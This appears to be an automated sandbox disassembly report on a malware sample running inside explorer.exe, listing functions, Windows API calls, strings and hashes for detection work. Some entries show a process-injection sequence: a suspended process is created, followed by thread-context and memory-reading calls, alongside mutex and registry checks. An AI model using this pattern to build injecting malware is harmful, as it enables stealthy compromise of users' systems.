Opcode Fuzzy Hash: 759002a8ce1d836d21a862c590ad94ed968463a2cf6630221a51ad1a3b0b816d
Instruction Fuzzy Hash: B2B11F71A00248DBEB19E778CD49BADBB72EF85300F54825CE449A73D7EB3D5A808B51

Function 0079E6D1 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 167
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNELBASE(?,?,00000000,?,?,00000000,?,?,?,?,?,?,0079E8F2,?,?,00000000), ref: 0079E743
_free.LIBCMT ref: 0079E731

Part of subcall function 00797C06: HeapFree.KERNEL32(00000000,00000000,?,007A0BFE,?,00000000,?,8B18EC83,?,007A0EA1,?,00000007,?,?,007A1346,?), ref: 00797C1C
Part of subcall function 00797C06: GetLastError.KERNEL32(?,?,007A0BFE,?,00000000,?,8B18EC83,?,007A0EA1,?,00000007,?,?,007A1346,?,?), ref: 00797C2E

_free.LIBCMT ref: 0079E8FB

Strings

M{, xrefs: 0079E857
Eastern Summer Time, xrefs: 0079E7F0
Eastern Standard Time, xrefs: 0079E7DC

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free$ErrorFreeHeapInformationLastTimeZone
String ID: M{$Eastern Standard Time$Eastern Summer Time
API String ID: 2155170405-3830292399
Opcode ID: 8965b96e051b9829e7650a8c843a9843f7b0a39ea5bdb14bf683325bb7e8d768
Instruction ID: 57dc3659b215b8af5feafd6acbe0289504d08289312e7247a649cb1f6195d244
Opcode Fuzzy Hash: 8965b96e051b9829e7650a8c843a9843f7b0a39ea5bdb14bf683325bb7e8d768
Instruction Fuzzy Hash: A951CB71900225EBCF20FFA9EC4AE9E7F78EF05760B10856AF414A7151EB78AD40CB95

Function 0079021C Relevance: 7.6, APIs: 5, Instructions: 141
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,0079014E), ref: 0079023E
GetFileInformationByHandle.KERNELBASE(?,?), ref: 00790298
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0079014E,?,000000FF,00000000,00000000), ref: 00790326
__dosmaperr.LIBCMT ref: 0079032D
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 0079036A

Part of subcall function 00790592: __dosmaperr.LIBCMT ref: 007905C7

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: e62ecb8059cfb4891c179294538302c72bc624fecb97330b9a7550f62f0dd201
Instruction ID: dd903295cb299b9f41f2c1c11fc60bc2dece158eb5a6b18a901f8fc2700d9876
Opcode Fuzzy Hash: e62ecb8059cfb4891c179294538302c72bc624fecb97330b9a7550f62f0dd201
Instruction Fuzzy Hash: 9A412C75920608AFCF249FB5EC499AFBBF9EF89300B10851DF956D3611E7389900CBA0

Function 0079E82B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 0079E8FB

Part of subcall function 0079E6D1: _free.LIBCMT ref: 0079E731
Part of subcall function 0079E6D1: GetTimeZoneInformation.KERNELBASE(?,?,00000000,?,?,00000000,?,?,?,?,?,?,0079E8F2,?,?,00000000), ref: 0079E743

Strings

M{, xrefs: 0079E857

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free$InformationTimeZone
String ID: M{
API String ID: 597776487-1158415886
Opcode ID: cca28786db355c5449d0a9b4807be69c8fd1fede2f728e1d4806077a492611fd
Instruction ID: 06ec34a4072751c2e784629154dde1cf40a8ababdbe29a750df4a4fcaf9a29bd
Opcode Fuzzy Hash: cca28786db355c5449d0a9b4807be69c8fd1fede2f728e1d4806077a492611fd
Instruction Fuzzy Hash: 8F21F972800319D6CF24EBB4AC4EDAB777C9B81364F241669F565A3142FE389D8087A0

Function 00780AA0 Relevance: 6.0, APIs: 4, Instructions: 37
threadsleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0076C6D0: Sleep.KERNELBASE(00000064), ref: 0076C6D3
Part of subcall function 0076C6D0: CreateMutexA.KERNELBASE(00000000,00000000,007C6494), ref: 0076C6F1
Part of subcall function 0076C6D0: GetLastError.KERNEL32 ref: 0076C6F9
Part of subcall function 0076C6D0: GetLastError.KERNEL32 ref: 0076C70A

Part of subcall function 0077F060: RegOpenKeyExA.KERNELBASE(80000002,System,00000000,000F003F,?,00000000), ref: 0077F142
Part of subcall function 0077F060: RegCloseKey.KERNELBASE(80000002), ref: 0077F158

Part of subcall function 007661F0: RegOpenKeyExA.KERNELBASE(?,00000000), ref: 007667BD
Part of subcall function 007661F0: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00766894

CreateThread.KERNELBASE(00000000,00000000,Function_000208A0,00000000,00000000,00000000), ref: 00780A66
CreateThread.KERNELBASE(00000000,00000000,Function_00020930,00000000,00000000,00000000), ref: 00780A77
CreateThread.KERNELBASE(00000000,00000000,Function_000209C0,00000000,00000000,00000000), ref: 00780A88
Sleep.KERNELBASE(00007530), ref: 00780A95

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: Create$Thread$ErrorLastOpenSleep$CloseInfoMutexQuery
String ID:
API String ID: 2192108483-0
Opcode ID: 8bed0f823e0bef338f6f65cb9e9317e7108e6ea85b00167aefe8dddd2731cafc
Instruction ID: 58e6c3b9809cf36a6dd16ab2e8fc10ba700dcb244b1b172d11bc4b506aa1d176
Opcode Fuzzy Hash: 8bed0f823e0bef338f6f65cb9e9317e7108e6ea85b00167aefe8dddd2731cafc
Instruction Fuzzy Hash: 44F0CA71BD8728B6F5B132E84C0BF5A29045B04FA0F708112B75A7E1D258CC35488BEF

Function 007900B4 Relevance: 3.1, APIs: 2, Instructions: 87
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07156d673e179a56c3e280b8f2848f1683cfb97b46cd824d3b52eec47ce70de4
Instruction ID: 81b6e96bf0ae0ac16aceb6c50fd3f00dd08b3caaafb142a52f4dd9dd90961fb1
Opcode Fuzzy Hash: 07156d673e179a56c3e280b8f2848f1683cfb97b46cd824d3b52eec47ce70de4
Instruction Fuzzy Hash: 0721743195120CBEEF117B68AC4ABAE3729AF42774F204315F9243B2D1D7785E0597E1

Function 0079038C Relevance: 3.1, APIs: 2, Instructions: 54
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FileTimeToSystemTime.KERNEL32(00000000,?,?,?,?,007902C3,?,?,00000000,00000000), ref: 007903BA
SystemTimeToTzSpecificLocalTime.KERNELBASE(00000000,?,?,?,?,?,007902C3,?,?,00000000,00000000), ref: 007903CE

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: ff165a1b026abf800ea81e02941ef03e20dc1b4a5ba4ead3e831a8f9d9c6f27b
Instruction ID: 60356c707d031126fb495060b40f2fea8ebf79a0925a22ebc0bacb1017a65c2d
Opcode Fuzzy Hash: ff165a1b026abf800ea81e02941ef03e20dc1b4a5ba4ead3e831a8f9d9c6f27b
Instruction Fuzzy Hash: B111D67290020CEFCF10DF95D989EDF77BCAB08310F544266E616E6191EA38EA45CBA1

Function 0076B250 Relevance: 1.7, APIs: 1, Instructions: 169
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExW.KERNEL32(00000002,?,?,3F07E9DB,74DF0F00), ref: 0076B2A6

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: ce8ca879f83932c4413636ad3e2807dbea4fde8bc35f240872e2c28e1b4f70f8
Instruction ID: 474b6e49deac9c242d0529005e5259a8b4af02f2d6b7ae7c76e997f486b85136
Opcode Fuzzy Hash: ce8ca879f83932c4413636ad3e2807dbea4fde8bc35f240872e2c28e1b4f70f8
Instruction Fuzzy Hash: 8F518071A012289BCB20EF64DC887DDBBB4EB59310F5002D9D81AE7651DB78AAC4CF91

Function 00799B8F Relevance: 1.6, APIs: 1, Instructions: 52
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0079A21A: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,007969C2,00000001,00000364,00000006,000000FF,?,?,00789ABF,007808E7,?,007830BE,8B18EC84), ref: 0079A25B

_free.LIBCMT ref: 00799BFE

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 112299dda7d8a3aaa9a6c67e080750ada0fe037732b09379cacda0bf255602f7
Instruction ID: f7352eb18cd9e1dc00fdc12c83a3e1046b8a97be4d31d87a7849ca2317211ae8
Opcode Fuzzy Hash: 112299dda7d8a3aaa9a6c67e080750ada0fe037732b09379cacda0bf255602f7
Instruction Fuzzy Hash: 6B0189B2600316ABDB20CF68E885989FB98FB053B0F04022DE645A72C0E374AC00C7E0

Function 00790042 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 007900A9

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 7bc9da4f6f1252227d049f80858ae70662f139471ec9298f73f7a1d479842fa2
Instruction ID: 13ae502097b99728661b4c6c0d14212eb9d45e5f6363257cbd891684915ff845
Opcode Fuzzy Hash: 7bc9da4f6f1252227d049f80858ae70662f139471ec9298f73f7a1d479842fa2
Instruction Fuzzy Hash: E9018F72D14218EECF11AFA8EC067AE7FF4AF04320F244166F918E21D1EA748A50D7D1

Function 0079A21A Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,007969C2,00000001,00000364,00000006,000000FF,?,?,00789ABF,007808E7,?,007830BE,8B18EC84), ref: 0079A25B

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1070f7590079bb6acabe9d8615573136ad93b6195150637224f664f4bea787f7
Instruction ID: 00dd319513b7e6de904256e1a3f1938e1d6a9b8b2af2970fa9040496df2f40d0
Opcode Fuzzy Hash: 1070f7590079bb6acabe9d8615573136ad93b6195150637224f664f4bea787f7
Instruction Fuzzy Hash: D0F0B431647524BBDF211B21BC09A6A3748BFC2760B148122A8449A190CE3EDD0086E2

Function 007808A0 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 007661F0: RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 0076639C
Part of subcall function 007661F0: RegQueryValueExA.KERNELBASE(3F07E9DB,?,00000000,00000000,?,00000400,?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 007663CA
Part of subcall function 007661F0: RegCloseKey.KERNELBASE(3F07E9DB,?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 007663D6

Sleep.KERNELBASE ref: 00780925

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: CloseOpenQuerySleepValue
String ID:
API String ID: 4119054056-0
Opcode ID: 3904c7ce105df17420ec73244a6180c1839e59e3e4019c3ef55ba879c0d038f5
Instruction ID: 56f4d4261de918a4527a08459959334891f4e6d6883a3912d9ac87f18d9637a4
Opcode Fuzzy Hash: 3904c7ce105df17420ec73244a6180c1839e59e3e4019c3ef55ba879c0d038f5
Instruction Fuzzy Hash: 21F0D1B1A40644EBC700BBAC8D1BB0E7BA4AB06B60F94435CE821272D2DA7D2A0447D2

Function 00780930 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 007661F0: RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 0076639C
Part of subcall function 007661F0: RegQueryValueExA.KERNELBASE(3F07E9DB,?,00000000,00000000,?,00000400,?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 007663CA
Part of subcall function 007661F0: RegCloseKey.KERNELBASE(3F07E9DB,?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 007663D6

Sleep.KERNELBASE ref: 007809B5

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: CloseOpenQuerySleepValue
String ID:
API String ID: 4119054056-0
Opcode ID: 0e062e35fba1f899dda147856f87ad3ce3c1ec17bb9bf2d62c274d60d586d07c
Instruction ID: 13211acb685b09b055f3bf7c2ed8adbae129c7df20dc33ceccc69e0c52d1128b
Opcode Fuzzy Hash: 0e062e35fba1f899dda147856f87ad3ce3c1ec17bb9bf2d62c274d60d586d07c
Instruction Fuzzy Hash: F3F0F9B1A40604EBC7007B6CCD17B0E7BA5EB06B60F94435CE821672D2DB7D2A1447D2

Function 007809C0 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 007661F0: RegOpenKeyExA.KERNELBASE(?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 0076639C
Part of subcall function 007661F0: RegQueryValueExA.KERNELBASE(3F07E9DB,?,00000000,00000000,?,00000400,?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 007663CA
Part of subcall function 007661F0: RegCloseKey.KERNELBASE(3F07E9DB,?,?,00000000,00000001,3F07E9DB,3F07E9DB), ref: 007663D6

Sleep.KERNELBASE ref: 00780A45

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: CloseOpenQuerySleepValue
String ID:
API String ID: 4119054056-0
Opcode ID: e5ee62d8f2c17bd6d4f116a1cb2418da5886c8d264d891a7b0c1c74a96143f64
Instruction ID: 8f96db2777d92c56fffec75d73f214336af8e716676268cb8efd0bd5a81a6326
Opcode Fuzzy Hash: e5ee62d8f2c17bd6d4f116a1cb2418da5886c8d264d891a7b0c1c74a96143f64
Instruction Fuzzy Hash: DDF0F971A40604EBC7007B7CCD17B0E7BA4EB06B60F94435CE821172D2DB7D2A0447D2

Non-executed Functions

Function 007D8A00 Relevance: 38.6, Strings: 21, Instructions: 12391COMMON

Download Yara Rule

Strings

z, xrefs: 007DDB2D
(, xrefs: 007DFDBA
g, xrefs: 007DE2DE
, xrefs: 007DF813
8, xrefs: 007D94CF
g, xrefs: 007D8A7E
, xrefs: 007DFC51
(, xrefs: 007E1659
`, xrefs: 007DF466
8, xrefs: 007E2AFA
(, xrefs: 007DFE72
>, xrefs: 007E4197
g, xrefs: 007D8B18
(, xrefs: 007E10F6
(, xrefs: 007E0ED8
g, xrefs: 007DDCF6
(, xrefs: 007E081F
z, xrefs: 007D901E
z, xrefs: 007E22AC
(, xrefs: 007E02B7
8, xrefs: 007DA2CE

Memory Dump Source

Source File: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID: $ $($($($($($($($8$8$8$>$`$g$g$g$g$z$z$z
API String ID: 0-3464496334
Opcode ID: 66f1bed81b99a069a37328925cb6e241153ac655f197810316540cb67f6a7d35
Instruction ID: 5b4fda8a050f735a9a38edb0e9feec90f79ddcd0550e281098827d74f31cd065
Opcode Fuzzy Hash: 66f1bed81b99a069a37328925cb6e241153ac655f197810316540cb67f6a7d35
Instruction Fuzzy Hash: 3254F2B1E013298FDB64CF29CD94B99BBB5BB4A314F1540EAD40AE7A41D7749E80CF42

Function 00767EB0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 184processmemorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 00791803: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00767EE2,00000000,3F07E9DB), ref: 00791816
Part of subcall function 00791803: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00791847

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0076809D
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 007680FB
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00768114
GetThreadContext.KERNEL32(?,00000000), ref: 00768129
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 00768149

Strings

invalid stoi argument, xrefs: 00768057
, xrefs: 00768140
VUUU, xrefs: 00767F01

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: FileProcessTime$AllocContextCreateMemoryModuleNameReadSystemThreadUnothrow_t@std@@@Virtual__ehfuncinfo$??2@
String ID: $VUUU$invalid stoi argument
API String ID: 3815659930-3954507777
Opcode ID: 341e5cd34d87c57c9b6c587157ae45dcfcbc87f47500c822639509e4791951c1
Instruction ID: 5bf70a6d0ecc64df719f0344e28878f845930a46bd9c7f20ba25104f01827608
Opcode Fuzzy Hash: 341e5cd34d87c57c9b6c587157ae45dcfcbc87f47500c822639509e4791951c1
Instruction Fuzzy Hash: DF51B7B1644305EFD750AF64DC4AF5B7BE8FF84704F004619FA45E62D0DB78A9048B9A

Function 007A1BC8 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00796820: GetLastError.KERNEL32(00000000,00000000,?,00797607,?,00000000,00000000,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010), ref: 00796825
Part of subcall function 00796820: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010,00790B22,00000000,00000000,00000000), ref: 007968C3

GetACP.KERNEL32(?,?,?,?,?,?,00794C29,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 007A1C89
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00794C29,?,?,?,00000055,?,-00000050,?,?), ref: 007A1CB4
_wcschr.LIBVCRUNTIME ref: 007A1D48
_wcschr.LIBVCRUNTIME ref: 007A1D56
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 007A1E17

Strings

<Y{, xrefs: 007A1C0A
utf8, xrefs: 007A1D86

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: <Y{$utf8
API String ID: 4147378913-1075160420
